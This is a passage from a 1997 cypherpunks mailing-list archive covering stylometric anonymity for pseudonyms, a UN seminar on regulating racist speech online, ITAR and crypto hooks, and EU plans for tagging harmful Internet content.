vocabulary, sentence structure, punctuation.  Our writings are like a 
fingerprint.  The more we write, the greater the detail of that fingerprint. 
 We can try to alter the style.  Write shorter or longer sentences.  Choose 
our words capriciously.

But on some occasions (think ecommerce) it may be necessary to have a second 
party rewrite the original text.  Enter the "nym editor" to remove the 
stylometric clues from a nym's writings.  Correspondence between the nym 
owner and editor could be achieved anonymously using remailers, nym servers 
and "throw away" email accounts (Hotmail and Mailexcite).  

When the nym owner locates an editor and they agree on the terms of 
engagement, the owner submits his text to the editor.  The editor reworks 
it, and sends it back to the owner.  The owner may then make a few small 
changes or even submit it to another nym editor before posting the text 
under his nym.  A nym owner may prefer a certain editor's style and continue 
to use him.  Thus the nym will offer stylometric clues of the editor, not 
the owner.

The nym owner can pay the editor using ecash, preferably of the 
fully-anonymous flavor.  If the nym owner stiffs the editor on a payment, he 
can then broadcast it through the relevant channels.  The nym suffers loss 
of reputation capital.  It seems reasonable to assume that the likelihood of 
fraud by the nym holder is slim, especially if the editor tends to deal with 
persistent nyms.

Fraud by the nym editor is also unlikely.  The worst he could do is publish 
the unedited text, giving stylometric clues about the nym holder.  The 
prudent nym holder who uses more than one editor can better avoid such a 
situation, though that risk is never entirely eliminated.  However if the 
nym editor is uncertain of the author of the text he is reworking, there is 
little incentive to blackmail the nym holder since all he may be doing is 
passing on stylometric clues about another nym editor.

Amad3us wrote elsewhere:
>What do people think this nym is for?  Only nyms can trade with
>impunity in the tax free cypherspace.

But only as long as the nym holder remains anonymous.  Digital mixes are 
superb, but what good are they when we give away clues about who we are with 
every keystroke we embed in our digitally-signed messages?

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Colin A. Reed" <aleph@cco.caltech.edu>
Date: Wed, 19 Nov 1997 08:50:10 +0800
To: Declan McCullagh <pethern@inet.uni2.dk>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <Pine.3.89.9711182331.A19441-0100000@inet.uni2.dk>
Message-ID: <3.0.3.32.19971118163834.00ca77e0@pop-server.caltech.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 05:59 PM 11/18/97 -0500, Declan McCullagh wrote:
>My take on it is that overseas citizens have no Constitutional rights.
>However ISPs in the U.S. have rights that U.S. laws recognize and protect.
>
Actually I seem to remember that U.S. citizens have full constitutional
protection (only from the U.S. government of course) no matter where they
reside, non-citizens have full protection within the borders of the U.S.,
and non-citizens have partial protection outside the borders of the U.S.  I
don't remember how much is covered by the last though.  

>If a U.S. law prevented an ISP from contracting to put a web site online,
>it would be like a law that prevented a U.S. book company from publishing a
>book penned by a German. Or the Netly News from publishing an article
>written by our London correspondent. Such a law would be facially
>unconstitutional.
>
>Perhaps the analogy between an ISP and publisher is inexact, but that's the
>type of analysis I'd pursue.
>
>-Declan
>
>
>At 23:33 +0100 11/18/97, Peter Herngaard wrote:
>>Does the First Amendment prevent the Congress from passing
>>a law that would make it illegal for anyone who is outside the United
>>States to
>>set up a web site in the U. S. in violation of a local speechcode?
>>For example, a German nazi organization could establish a WWW site in
>>California out of reach
>>of German law.
>>Would it be constitutional to make a law barring  foreign citizens from
>>violating the speech
>>codes of their home countries using a U. S. ISP?
>
>
>
>
>


                             -Colin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 19 Nov 1997 06:39:36 +0800
To: cypherpunks@toad.com
Subject: Report on UN conference on Internet and racism
Message-ID: <v03007808b097c592eba8@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



[Forwarded with permission, first few grafs deleted by request. --Declan]

Date: Mon, 17 Nov 1997 10:40:22 -0800 (PST)
From: Margarita Lacabe <marga@derechos.org>
Subject: UN Conference

[The lineup from the conference]

-Debra Guzman, a long-time american human rights activist, gave a general
appreciation of hate sites online. She said that it was very difficult to
find them and unlikely that one would stumble on them.

-Teresa Peters, another american from the Organisation for Economic
Co-Operation and Development Information Computer and
Communications Policy Committee talked about a study that her organization
had made about regulating speech on the internet, and about the problems
this lead to. I think the study is not public, and she did not go much
beyond what the study concluded. I didn't take good notes on her speech,
however :-(

-Philip Reitinger, a prosecutor with the US DOJ, summarize US free speech
legislation and made clear that hate web sites are protected under US law.
He also addressed the likely constitutional protections of anonimity, but
left open the question of whether the US could cooperate with other
countries in investigating people who violate speech laws abroad.

-Timothy Jenkins, who as far as I can tell is mostly a consultant and
someone who is trying to get the black leadership interested in the
internet, talked about how the real problem here was that internet access
is disproportionatelly held by white (males?) in the US and Europe, and
how the lack of access to computers might be a form of racial
discrimination. He did not agree with censorship of web sites BUT he
introduced the issue of anonimity, being for restricting anonimity so as
to be able to tell who the authors of racist speech were (this was
followed by a strong denunciation by the US delegate and yours truely)

-ERic Lee, from the  Commercial Internet eXchange, an association of ISPs
talked about why ISPs shouldn't be held responsible for content and also
gave a good explanation of how the internet works.

-Agha Shahi, a member of the  Committee on the Elimination of Racial
Discrimination, gave a forceful opinion on how the Convention applies
online and how countries must criminalize hate speech online.

-Rudiger Dossow, from the Council of Europe, talked about what the Council
has been thinking about the issue and warned about potential pitfalls.

-Maya Sooka, from Sangonet in SA, questioned the code of conduct idea that
had been proposed several times

- Anthony M. Rutkowski, now from Magic, talked about how the internet
works, how impossible it is to regulate it, and how it should not be
regulated differently from other media.

At some point there was a presentation by the Simon Wiesenthal center on
hate sites online, and another by the ITU, which I did not quite
understand, about how hundreds of satellites are being launched.

In addition to the experts, the conference had representatives from some
UN and Int'l bodies, including the department of public information, the
OHCHR, the ITU, the Internet Society and others who remained mostly
silent. There were representatives from several countries, including the
US, Sweeden, Germany, France and Cuba. Most representatives were embassy
people, but those from Sweeden, france and germany were from different
ministries in their countries. These three representatives who were among
the most vocal in the conference seemed to be the only ones who were
actually aware of the legal issues concerned, as well as to what the
internet is :-)  The NGOs were badly represented, there was no one from
the groups that watch hate speech online (except for the brief appearance
of the guy from the simon Wiesenthal center). In addition to the three of
us, article 19 - the free speech organization - in England was
represented, there was a guy from the World Jewish Conference who was
there half the time, a couple of people from this organization for adult
education, a professor from the Universtiy of Geneva who spoke a few
times, and some assorted people from Geneva based groups who were mostly
silent.  There was also a guy from Indigienous World Association who
missunderstood pretty much everything said, but was very passionate.

(to be continued)

Margarita Lacabe - Derechos - marga@derechos.org - http://www.derechos.org
____________________________________________________________________________

        The governors as well as the governed are bound by the law and
    by the established system of making, changing and interpreting the law
                             AKA The Rule of Law






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian W. Buchanan" <brian@smarter.than.nu>
Date: Wed, 19 Nov 1997 09:38:20 +0800
To: cypherpunks@Algebra.COM
Subject: Re: ITAR
In-Reply-To: <19971119010002.15815.qmail@nym.alias.net>
Message-ID: <Pine.BSF.3.96.971118172217.19078B-100000@thought.calbbs.com>
MIME-Version: 1.0
Content-Type: text/plain



On 19 Nov 1997, lcs Mixmaster Remailer wrote:

> 
> If someone writes a piece of software, a networking layer, or anything else
> with support for later cryptographic enhancement but doesn't actually
> include the cryptographic implementation and it is later added by somebody
> outside of the United States does this fall under ITAR? 
> 
> In other words the original U.S. authors wrote the software with support for
> crypto, function hooks, etc. They didn't include any crypto at all. Somebody
> outside the United States uses these hooks and writes strong cryptography.
> These modifications are kept as patches and never exported from the U.S.. Is
> this allowed? What if the U.S. authors are actively collaborating with the
> non-US authors?
 
I've always been told that software with function hooks for crypto was
just as unexportable as crypto itself.  This however doesn't make any
sense, because then anything with a plugin interface falls into that
category.  Hell, anything that can call external programs would qualify as
having a plugin interface, and all web browsers, mail/news readers, IRC
clients, editors, and possibly even all operating systems would fall into
that category.  Of course, this is the goobermint we're dealing with...
what did we expect but another arbitrary-arrest law.

-- 
Brian Buchanan                                      brian@smarter.than.nu

No security through obscurity!  Demand full source code!
4.4BSD for the masses - http://www.freebsd.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 19 Nov 1997 06:53:14 +0800
To: cypherpunks@toad.com
Subject: Text of U.N. presentation: demands for Net-censorship
Message-ID: <v0300780ab097c87b9ad2@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



Attached below is a presentation given at the November 10-14 United Nations
summit on the Internet and "hate speech." Note what the speaker wants the
U.N. to do:

>a) shall declare an offence punishable by law all
>dissemination of ideas based on racial superiority or
>hatred, incitement to racial discrimination, as well
>as all acts of violence or incitement to such acts
>against any race or group of persons of another colour
>or ethnic origin, and also the provision of any
>assistance to racist activities, including the
>financing thereof;
>
>b) shall declare illegal and prohibit organizations,
>and also all other propaganda activities which promote
>and incite racial discrimination and

-Declan

---

IMPLEMENTATION OF THE PROGRAMME OF ACTION FOR THE
THIRD DECADE TO COMBAT RACISM AND RACIAL
DISCRIMINATION

Seminar on the role of Internet with regard to the
provisions of the International Convention on the
Elimination of All Forms of Racial Discrimination

Geneva, 10-14 November 1997

Item V: Prohibition of Racist Propaganda on the
Internet:  Juridical Aspects,
              International Measures

Note: The opinions expressed in this paper are those
of the author and are not necessarily shared by the
OHCHR.



Mr. Agha Shahi, Member of the Commitee on the
Elimination of Racial Discrimination

The International Community is increasingly concerned
that new technological developments in the sphere of
communications and in particular computer networks
such as the Internet, are being exploited to
disseminate racist propaganda through out the world.
It is therefore necessary to assess the role of the
Internet in spreading ideas of racial superiority and
hatred through a wide variety of electronic
communication and information retrieval methods, known
as cyberspace and to explore from the juridical aspect
what international measures can be taken to ensure a
responsible use of the new medium, taking into account
the provisions of the International Convention on the
Elimination of All Forms of Racial Discrimination
(ICERD)

The International Convention which has been ratified
or acceded to by 148 States, is the international
community's primary legal instrument for combating
racial hatred and discrimination. In Article 4 of this
Convention:

"State Parties ... undertake to adopt immediate and
positive measures designed to eradicate:

all incitement to, or acts of, (racial) discrimination
and, to this end, with due regard to the principles
embodied in the Universal Declaration of Human Rights
and the rights expressly set forth in article 5 of
this Convention, interalia:

a) shall declare an offence punishable by law all
dissemination of ideas based on racial superiority or
hatred, incitement to racial discrimination, as well
as all acts of violence or incitement to such acts
against any race or group of persons of another colour
or ethnic origin, and also the provision of any
assistance to racist activities, including the
financing thereof;

b) shall declare illegal and prohibit organizations,
and also all other propaganda activities which promote
and incite racial discrimination and

shall recognise participation in such organizations
and activities as an offence punishable by law;

c) shall not permit public authorities or public
institutions, national or local to promote or incite
racial discrimination".

Article 1, paragraph 1 of ICERD defines "racial
discrimination" as:

"... any distinction, exclusion, restriction or
preference based on race, colour, descent, or national
or ethnic origin which has the purpose or effect of
nullifying or impairing the recognition, enjoyment or
exercise, on an equal footing, of human rights and
fundamental freedoms in the political, economic,
social, cultural or any other field of public life."


Article 6 of the International Convention provides for
remedies against acts of racial discriminations as
well as just and adequate reparation or satisfaction
for any damage suffered as a result of the violation
of Article 4 and the human rights expressly set forth
in Article 5 of the Convention.

In its General Recommendation XV (42) of 17 March
1993, the Committee on the Elimination of Racial
Discrimination (CERD) reminded the States Parties that
Article 4 is of a mandatory nature and that they have
the obligation not only to enact laws to criminalise
racial discrimination but also to ensure that the laws
are effectively enforced by national tribunals and
other state institutions.

Article 4 aims at prevention rather than cure; the law
penalises in order to deter racism or racial
discrimination as well as activities aimed at their
promotion or incitement. In respect of Article 4(b),
CERD stresses that States Parties are required to
declare illegal and prohibit all organisations as well
as organised and other propaganda activities and
punish participation in them and that 4(c) outlines
the obligations of public authorities at all
administrative levels, to ensure that they do not
promote or incite racial discrimination.

The introductory clause to Article 4 of International
Convention imposes an obligation to pay due regard to
the principles embodied in the Universal Declaration
of Human Rights (UDHR) and the rights expressly set
forth in Article 5 of the Convention including the
criminalisation and punishment of:

"All dissemination of ideas based on racial
superiority or hatred"... (as well as)
"Organisations", and also all other propaganda
activities which promote and incite racial
discrimination and (also) participation in such
organisations and activities".

Article 5(d)(viii) and (ix) of the Convention do not
spell out the right to freedom of opinion and
expression nor the right to freedom of peaceful
assembly and association. The Universal Declaration
defines these rights in its Articles 19 and 20:

Article 19

"Everyone has the right to freedom of opinion and
expression; this right includes freedom to hold
opinions without interference and to seek, receive and
impart information and ideas through any media and
regardless of frontiers".

Article 20

"1. Everyone has the right to freedom of peaceful
assembly and association.

2. No one may be compelled to belong to an
association".

Article 29 of the Universal Declaration limits the
rights to freedom of opinion and expression and to
peaceful assembly and association as follows:

Article 29

Paragraph 2:

"In the exercise of his rights and freedoms, everyone
shall be subject only to such limitations as are
determined by law solely for the purpose of securing
due recognition and respect for the rights and
freedoms of others and of meeting the just
requirements of morality, public order and the general
welfare in a democratic society."

Paragraph 3:

"These rights and freedoms may in no case be exercised
contrary to the purposes and principles of the United
nations".

There is a further lmitation in the Universal
Declaration:

Article 30:

"Nothing in this Declaration may be interpreted as
implying for any State, group or person any right to
engage in any activity or to perform any act aimed at
the destruction of any of the rights and freedoms set
forth herein".

Under Article 4 of ICERD, "due regard" to the rights
to freedom of expression and freedom of peaceful
assembly and association must also take into account
the limitation put on the exercise of these rights as
set forth in Articles 29 and 30 of UDHR. Therefore,
the "due regard" clause cannot be interpreted as
reducing to ineffectiveness, the mandatory force of
ICERD's Article 4(a) and (b). Dissemination of ideas
of racist superiority or the prohibition of
organisations and propaganda activities which promote
and incite racial discrimination are also contrary to
one of the purposes of the United Nations which is, in
the words of Article 1 paragraph 3 of the UN Charter
"to promote and encourage respect for human rights and
fundamental freedom for all without distinction as to
race, sex, language or religion and also to Article 55
of the Charter which enjoins respect for and
observance of these rights and freedoms.

In Article 4 of the International Convention, the "due
regard" clause makes no reference to the provisions of
the International Covenant on Civil and Political
Rights (ICCPR), as the latter was adopted by the UN
General Assembly one year after the former. The
Covenant which is an international treaty, translates
into precise rules of international law, the
principles of the Universal Declaration which do not
constitute a legally binding text though arguably,
because of the Declaration's universal acceptance, it
is claimed to have the force of customary
international law.

The following Articles of the ICCPR spell out the
right of freedom of opinion and expression and the
permissible limitations on the exercise of this right:

Article 19 (ICCPR)

1. Everyone shall have the right to hold opinions
without interference.

2. Everyone shall have the right to freedom of
expression; this shall include freedom to seek,
receive and impart information and ideas of all kinds,
regardless of frontiers, either orally, in writing or
in print, in the form of art, or through any other
media of his choice.

3. The exercise of the rights provided for in
paragraph 2 of this article carries with it special
duties and responsibilities. It may therefore be
subject to certain restrictions, but these shall only
be such as are provided by law and are necessary:

(a) for respect of the rights or reputations of
others;

(b) for the protection of national security or of
public order (ordre public), or of public health or
morals.

Article 20 (ICCPR) constitutes a further limitation of
the foregoing Article 19. It reads:

1. Any propaganda for war (war of aggression) shall be
prohibited by law.

2. Any advocacy of national, racial or religious
hatred that constitutes incitement to discrimination,
hostility or violence shall be prohibited by law.

The question arises whether under Article 20 (2) and
law enacted should not be restricted to protection of
national security, or of public order or public health
or morals as in Article 19 (3) (though the two
articles stand apart) by projecting into Article 20
(2) "due regard" for freedom of expression,
particularly in view of Article 5 paragraph 1 of the
Covenant that:

"no state, group or person has the right to engage in
any activity aimed at the destruction of any of the
rights and freedoms recognised herein (including
freedom of expression) or their limitation to a
greater extent than is provided for in the Covenant".

There are also corresponding provisions in ICCPR
Article 21 on the right of peaceful assembly and
limitations thereon to UDHR Article 20 on the right to
freedom of peaceful assembly and association, as well
as in regard to the limitations that are permissible
in the two instruments on grounds of recognition and
respect for the rights and freedoms of others and
requirements of morality, public order and the general
welfare in a democratic society...

Reservations to or declarations of interpretation of
Article 4 of ICERD have been made by some sixteen
State Parties including the United Kingdom, France,
Germany, Austria, Italy and Switzerland and some
others. They have stated that legislative measures in
the fields covered in subparagraphs (a), (b) and (c)
of that article are to be adopted only with "due
regard" to freedom of opinion and expression and
freedom of peaceful assembly and association and to
attain the end specified in the earlier part of
Article 4. But these reservations fail to pay due
regard to the limitations on the rights to the
freedoms of expression and association in the
Universal Declaration and the International Covenant
themselves. As for the declarations of interpretation
of these States Parties, they

"do not constitute reservations and have no legal
effect on the obligations under ICERD of the States
that make them" (HR Geneva/1996/SEM 1/BP2 by Luis
Valencia Rodriguez, Member CERD)

The United States has made more far-reaching
reservations -- that "nothing in the Convention
(ICERD) shall be deemed to require or authorise
legislation or other action by the United States of
America incompatible with the Constitution of the
United States of America", i.e. incompatible with the
extensive protections of individual freedom of speech,
expression and association.

The Human Rights Committee, which has built up an
impressive body of jurisprudence through
interpretation of the provisions of ICCPR, has held
that proscription of racist speech to be an
appropriate and legitimate restriction. It holds that
Article 19 which protects freedom of speech needs to
be interpreted in the light of Article 20 (in JRT and
WG Party V Canada DOC A/38/40 at 231--Paper presented
by Australia to UN Seminar 9-13 September 1996, Geneva
on Racist propaganda through Computer and Electronic
Network). This working paper concludes:

"It should be noted that it is only in the United
States, with its quasi-absolutist conception of
freedom of speech, that the regulation of racist
speech is held to violate the constitutional right of
free speech. Free speech is a constitutional right in
Canada and many European countries. Yet the highest
courts in these countries have held that provisions
which prohibit racial incitement and the dissemination
of racist ideas are reasonable and necessary
exceptions to the right of free speech. In 1989, for
instance, the Canadian Supreme Court upheld Canada's
anti-hate speech legislation. Interpretation of
freedom of expression involves resort to the values
and principles of a free and democratic society".

This conclusion is in line with the view of the
Committee on the Elimination of Racial Discrimination
(CERD) as well as the generality among the State
Parties that the right to freedom of expression is not
absolute but subject to certain limitations (in UDHR
and ICCPR), that these limitations lie in the balance
to be struck between the obligations deriving from
Article 4 of the International Convention (ICERD) and
the protection of these fundamental freedoms. CERD has
consistently rejected any construction of "due regard"
for freedom of expression as neutralising the
obligation to prohibit and punish dissemination of
ideas based on racial superiority or hatred or
incitement to racial discrimination or acts of
violence.

It is clear that from the juridical point of view, the
provisions of Article 4(a) and (b) of ICERD are
mandatory rules of internationl law that call for
enforcement through competent international tribunals
and other state institutions as laid down in Article 6
of ICERD. "Due regard" for the rights to freedom of
expression or to freedom of peaceful assembly and
association cannot be so construed as to justify
failure to prohibit or punish over the Internet
dissemination of ideas of racial superiority or hatred
and all other propaganda activities which promote and
incite racial discrimination or recognise
participation in organisations carrying out such
activities as an offence punishable by law.

INTERNET AND RACIST PROPAGANDA

"The Internet is an international network of
interconnected computers that enables millions of
people to communicate with one another in cyberspace
and to access vast amounts of information around the
world... It is a unique and wholly new medium of
worldwide human communication.

So declared the US Supreme Court in its judgement of
26 June 1997 in Reno, Attorney General of the United
States et al v American Civil Liberties Union (See US
Supreme Court Syllabus) ruling indecent transmission
(pornography) on the Internet as unconstitutional on
the ground that it abridged freedom of speech
protected by the First Amendment. The Supreme Court
estimated that the "host" computers -- those that
store information and relay communications, to number
9,400,000, roughly 60% of these hosts being located in
the United States. It is estimated that about 40
million people use the Internet and that this number
is expected to grow exponentially to 200 million by
1999.

The Supreme Court judgement provides other valuable
information about the Internet which is summarised
below:

Individuals can obtain access to the Internet from
many different sources, generally the hosts themselves
or entitles with a host affiliation. Most colleges and
universities provide access to their students and
faculty and many corporations to their employees. Many
communities and local libraries provide free access.

Several major on-line services such as America
on-line. Compuserve, the Microsoft, Network and
Prodigy offer access to their own proprietary networks
as well as a link to the much larger resources of the
Internet. These commercial on-line services had by the
middle of 1996 almost 12 million consumers.

Anyone with access to the internet can communicate and
retrieve information through electronic mail (E-mail)
automatic mailing list services ("mail exploders" or
listservs"), "newsgroups", "chat rooms" and "World
Wide Web". All of these methods can be used to
transmit text; most can transmit sound, pictures and
moving video images. Taken together these tools
constitute a unique medium known to users as
cyberspace--located in no particular geographical
location, but available to anyone, anywhere in the
world with access to the Internet.

The World Wide Web is the best known category of
communication over the Internet. It allows users to
search for and retrieve information stored in remote
computers, as well as to communicate back, in some
cases, to designated sites. In concrete terms, the Web
consists of a vast number of documents stored in
different computers all over the world. Elaborate
documents known as web pages have their own addresses
which frequently contain information and allow the
viewer to communicate with the page's (or the site's)
author.

Any person or organisation with a computer connected
to the Internet can publish information and make it
available to all other Internet users or confine
access to a selected group.

No single organisation controls any membership in the
Web nor is there any centralised point from which
individual Web sites or services can be blocked from
the Web.

Unlike communications received by radio or television,
receipt of information from the Internet requires a
series of more deliberate and directed steps than
merely turning a dial.

According to the Tel Aviv University paper (HR Geneva
A/1996/SEM1) Anti-semitism on the Internet:

the most widely used systems for the dissemination of
anti-semitism over the Internet today are the World
Wide Web and Usenet, with lesser use of mailing lists,
FTP and Gopher.

World Wide Web

The World Wide Web (WWW) is a global information
system made up of a body of software and a set of
protocols and conventions which uses hypertext and
multimedia techniques to provide easy access to
information through the Internet. The programs for
accessing and viewing information in WWW are called
"browsers". The most popular WWW browser today is
Netscape Navigator. Using a browser, one can access
information specially prepared for WWW using the Hyper
Text Transfer Protocol (HTTP), as well as other
systems such as FTP, Gopher and Usenet news. WWW
browsers use an addressing system called Uniform
Resources Locators (URL) to request information.

Thus, if one encounters offensive material in WWW,
there is an address for complaints.

USENET

Usenet is a worldwide distributed discussion system.
It consists of a set of "newsgroups" with names that
are classified by subject. There are thousands of
newsgroups covering a very wide range of topics.

Thus, it is often impossible to determine the true
identity of the sender of a Usenet article. Moreover,
one can make it appear that the message actually came
from someone else.

Electronic mailing lists are also used. And there is
the E-mail for person to person private communication,
which can be made more secure by encryption.

Racist organisations, neo-Nazis and hate groups have
established propaganda sites on the World Wide Web
(WWW) - Working Papers (HR Geneva/1996 SEM 1 WP2 and
WP3) prepared by the Anti-Defamation League of the
United States, provide a survey of extremist material
on WWW which sows racial hatred against Jews, blacks,
Asians, Latin Americans and foreigners, proclaims
white supremacy, and spreads propaganda to justify
racial separatism and even an apocalyptic race war
waged with weapons of mass destruction.

Article 4 of ICERD is as much applicable to the
dissemination on the Internet of ideas of racial
superiority or hatred and other racist propaganda as
it is to such offences and illegal acts in the press,
radio, television or any other media.

While an opinion on racial supremacy held by an
individual or a group may be an absolute right, once
such an opinion is broadcast, , it become an act or
behaviour. This behaviour transgresses, just as an act
of racial discrimination does, national as well as
international law which call for legal penalties. Most
State Parties take this position. The case of the
United States is sui generis because of the First
Amendment which guarantees virtually absolute freedom
of speech.

"Chat room" talk on the Internet by persons holding
racist convictions could well lead to advocacy of
ideas of white racist supremacy. Participation in such
gatherings could thus be deemed culpable under Article
4(b) of ICERD.

The enforcement of the provisions of Article 4 and
Article 6 to assure remedies to, and

reparation for any damage suffered by, a victim of
racist propaganda or racial discrimination on the
Internet however present some technical problems.

Internet telecommunication though not as invasive as
radio or television as it does not appear on one's
computer screen unbidden, has today over a 100 million
users worldwide and this figure is growing
exponentially.

Internet has no sender who distributes offensive
material to specific recipients. It allows the
speakers and listeners to mask their identities.

In the United States, anti-semitic and racist speech
on the Internet is protected by the First Amendment
guarantee of freedom of expression. Consequently,
material that is treated as illegal in most other
democracies outside the US, including racist and
defamatory statements, will be presented on the
Internet (via US postings) and as a result, would be
accessible to virtually everyone around the globe,
regardless of existing local laws and mores. (HR
Geneva/1996/SEM1 p.6 Background paper 3 of Simon
Wiesental Centre).

As the Supreme Court judgement referred to above says,
while the "chat rooms" and Web Sites for example,
exist at fixed geographical locations on the Internet,
users can transmit and receive messages on it without
revealing anything about their identities.
Abbreviations that make up an Internet address might
be a deception.

To what extent can democratic governments regulate the
material that passes through the Net? The Internet
providers, can, if they wish, refuse service. They can
also screen content appropriately with the aid of
technologies that are evolving rapidly. The Economist
in its issue of October 19th, 1996 (page 15) states:

"Governments need to force Internet service providers,
many of which will in future be big telephone
companies, to take responsibility for what they
knowingly carry on their sites".

This in no way implies that racist talk should not
also be dealt with by monitoring and refutation.
Furthermore, all Internet traffic should be compelled
to make known its electronic signature and source
address on all messages so that it could not longer
enjoy impunity.

To draw a dividing line between what is to be
permitted and prohibited on the Internet, the relevant
provisions of the Universal Declaration of Human
Rights, but also those of the International Convenant
on Civil and Political Rights as well as the
International Convention on the Elimination of All
Forms of Racial Discrimination, in particular Article
4, must also be taken into account.


###






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 19 Nov 1997 07:41:39 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: US Constitution & law coverage
Message-ID: <199711182341.RAA25501@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text




Section 2.  The judicial Power shall extend to all Cases, in Law and Equity, 
arising under this Constitution, the Laws of the United States, and Treaties 
made, or which shall be made, under their Authority; -- to all Cases affecting 
Ambassadors, other public Ministers and Consuls; -- to all Cases of admiralty 
and maritime Jurisdiction; -- to Controversies between two or more States; -- 
between a State and Citizens of another State; -- between Citizens of 
different States; -- between Citizens of the same State claiming Lands under 
Grants of different States; -- and between a State, or the Citizens thereof, 
and foreign States, Citizens or Subjects. 
	In all Cases, affecting Ambassadors, other public Ministers and 
Consuls, and those in which a State shall be Party, the supreme Court shall 
have original Jurisdiction.  In all other Cases before mentioned, the supreme 
Court shall have appellate Jurisdiction, both as to Law and Fact, with such 
Exceptions, and under such Regulations as the Congress shall make. 
	The Trial of all Crimes, except in Cases of Impeachment, shall be 
by Jury; and such Trial shall be held in the State where the said Crimes 
shall have been committed; but when not committed within any State, the Trial 
shall be at such Place or Places as the Congress may by Law have directed. 

 
Section 3.  New States may be admitted by the Congress into this Union; 
but no new States shall be formed or erected within the Jurisdiction of any 
other State; nor any State be formed by the Junction of two or more States, 
or Parts of States, without the Consent of the Legislatures of the States 
concerned as well as of the Congress. 
	The Congress shall have Power to dispose of and make all needful 
Rules and Regulations respecting the Territory or other Property belonging 
to the United States, and nothing in this Constitution shall be so construed 
as to Prejudice any Claims of the United States, or of any particular State. 
 
 
Section 4.  The United States shall guarantee to every State in this Union 
a Republican Form of Government, and shall protect each of them against 
Invasion; and on Application of the Legislature, or of the Executive (when 
the Legislature cannot be convened) against domestic violence. 
 
 
	All Debts contracted and Engagements entered into, before the 
Adoption of this Constitution, shall be as valid against the United States 
under this Constitution, as under the Confederation. 
	This Constitution, and the Laws of the United States which shall 
be made in Pursuance thereof; and all Treaties made, or which shall be made, 
under the Authority of the United States, shall be the supreme Law of the 
Land; and the Judges in every State shall be bound thereby, any Thing in the 
Constitution or Laws of any State to the Contrary notwithstanding. 

 
				ARTICLE XI. 
 
	The Judicial power of the United States shall not be construed 
to extend to any suit in law or equity, commenced or prosecuted against 
one of the United States by Citizens of another State, or by Citizens 
or Subjects of any Foreign State.  [8 January 1798.] 
 
 

    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 19 Nov 1997 06:54:29 +0800
To: cypherpunks@toad.com
Subject: EC to require "voluntary" tagging of harmful materials
Message-ID: <v0300780bb097c996dd41@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



[Is it just me or have a bunch of international bureaucrats suddenly
decided they really, really want to regulate the Net? Of course this has
been in the works for some time. Reference:
http://www.eff.org/pub/Publications/Declan_McCullagh/iu.plague.073196.article --
Declan]

********

BRUSSELS (November 17, 1997 1:53 p.m. EST http://www.nando.net) - The
European Commission is set to suggest guidelines on
Tuesday for codes of conduct aimed at protecting children from harmful
material on the Internet or other online networks.

The codes would be drawn up by service providers themselves in each of the
15 European Union countries, reflecting the
Commission's preference for self-regulation in the sensitive area of
Internet content.

Reluctant to propose new legislation to rein in the global computer
network, the Commission says in a draft report that the EU
must respect the "fundamental democratic principles of freedom of
expression and respect for privacy."

The report, expected to be adopted at the Commission's weekly meeting in
Strasbourg, proposes that EU ministers adopt a
recommendation asking governments and industry players to cooperate to keep
sexually explicit and other harmful online
material away from children.

The central plank of the recommendation, parts of which would cover the
television industry as well, is a network of voluntary
codes of conduct.

The report, a copy of which was obtained by Reuters, says the codes should
ensure that legal but potentially harmful online
material is flagged in some way -- for example, through warning pages,
descriptive labelling or systems to check ages of users.

Parents and teachers should when possible also be given tools to filter out
unwanted content so that children can use computer
networks without supervision, it says.

Users could install filter software themselves or operators could limit
access to certain sites, the proposal says.

The codes should also set up "hotlines" for handling complaints about
illegal content that is "offensive to human dignity," as well
as rules for cooperating with judicial and police authorities to combat the
circulation of such material, it says.

They should also introduce "dissuasive measures" for companies who violate
the codes, with appeal and mediation procedures
available.

The report asks the broadcast industry to experiment with new means of
protecting minors and informing viewers, although it
gives no specific suggestions. It also asks each country to set up a
national body able to share information with its EU
counterparts.

The United States is also searching for ways to shield children from
harmful Internet material after the Supreme Court in June
struck down parts of a law banning indecent material as unconstitutional.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Wed, 19 Nov 1997 10:04:10 +0800
To: cypherpunks@cyberpass.net
Subject: Overcoming War by Making Friends
Message-ID: <199711190155.TAA05884@dfw-ix7.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Anonymous <anon@anon.efga.org> wrote:
>Monty Cantsin writes:
>>One of the things that appeals to me about the tools the cypherpunks
>>are developing is the likelihood that they will end war.  What
>>percentage of wars are instigated and organized by governments?
>>That is, how many wars can we think of in which a war originated in
>>the population of country and dragged its unwilling government into
>>the fray?  I cannot think of any.
>
>That's a good point.  Cypherpunk technologies should actually
>_reduce_ the scope of violence, killing, death.

And really, once we drop all the propaganda memes, isn't it sort of
reasonable that if people are able to talk to each other without fear
of retribution that the right things are going to happen?

>It's ironic that some of the greatest supporters of crypto privacy
>are also the ones who call for more killing, who support terrorist
